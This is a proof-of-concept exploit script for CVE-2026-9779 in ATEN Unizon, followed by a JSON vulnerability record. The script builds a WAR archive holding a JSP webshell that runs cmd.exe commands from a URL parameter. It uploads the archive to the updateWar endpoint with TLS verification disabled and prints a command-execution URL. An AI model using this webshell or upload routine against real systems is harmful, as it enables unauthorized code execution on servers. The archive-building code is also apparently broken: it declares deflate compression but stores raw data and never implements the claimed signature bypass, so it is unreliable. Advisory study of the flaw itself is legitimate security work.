CVE-2026-9779

# CVE-2026-9779 - ATEN Unizon RCE via Improper Cryptographic Signature Verification # PoC demonstrating the exploitation concept of the updateWar method flaw # Original advisory: ZDI-CAN-28590 / ZDI-26-383 import requests import struct import hashlib TARGET_URL = "https://target-aten-unizon:8443" AUTH_TOKEN = "authenticated_session_token_here" # Requires high-privilege credentials def craft_malicious_war(): """ Craft a malicious WAR file that bypasses the flawed signature verification in doCryptoHugeFileToFile / updateWar method. The vulnerability stems from incorrect cryptographic signature verification implementation, allowing crafted payloads to pass validation. """ # JSP webshell payload to be deployed as a WAR archive webshell_content = b"""<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } } %>""" # Build minimal WAR file structure (simplified) war_data = b'PK\x03\x04' # ZIP local file header magic war_data += b'\x14\x00' # Version needed war_data += b'\x00\x00' # General purpose bit flag war_data += b'\x08\x00' # Compression method (deflate) war_data += b'\x00\x00' # Last mod file time war_data += b'\x00\x00' # Last mod file date war_data += struct.pack('<I', hashlib.crc32(webshell_content) & 0xffffffff) war_data += struct.pack('<I', len(webshell_content)) # Compressed size war_data += struct.pack('<I', len(webshell_content)) # Uncompressed size war_data += struct.pack('<H', len('cmd.jsp')) # File name length war_data += struct.pack('<H', 0) # Extra field length war_data += b'cmd.jsp' war_data += webshell_content return war_data def exploit_update_war(war_payload): """ Exploit the updateWar method by uploading a malicious WAR file. The doCryptoHugeFileToFile function fails to properly verify the cryptographic signature, allowing the malicious WAR to be accepted. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # Endpoint for the updateWar method in ATEN Unizon upload_url = f"{TARGET_URL}/api/updateWar" response = requests.post( upload_url, headers=headers, data=war_payload, verify=False ) if response.status_code == 200: print("[+] WAR file uploaded successfully") print("[+] Webshell deployed at: /cmd.jsp") print(f"[+] Execute commands via: {TARGET_URL}/cmd.jsp?cmd=whoami") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2026-9779 PoC - ATEN Unizon RCE") print("[*] Requires high-privilege authentication (PR:H)") war = craft_malicious_war() exploit_update_war(war)

{"cve": {"id": "CVE-2026-9779", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.590", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon doCryptoHugeFileToFile Improper Verification of Cryptographic Signature Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ATEN Unizon. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the updateWar method. The issue results from an incorrect implementation of cryptographic signature verification. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-28590."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.6.253.001", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T13:10:28.104178Z", "id": "CVE-2026-9779", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/32/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-383/", "source": "[email protected]"}]}}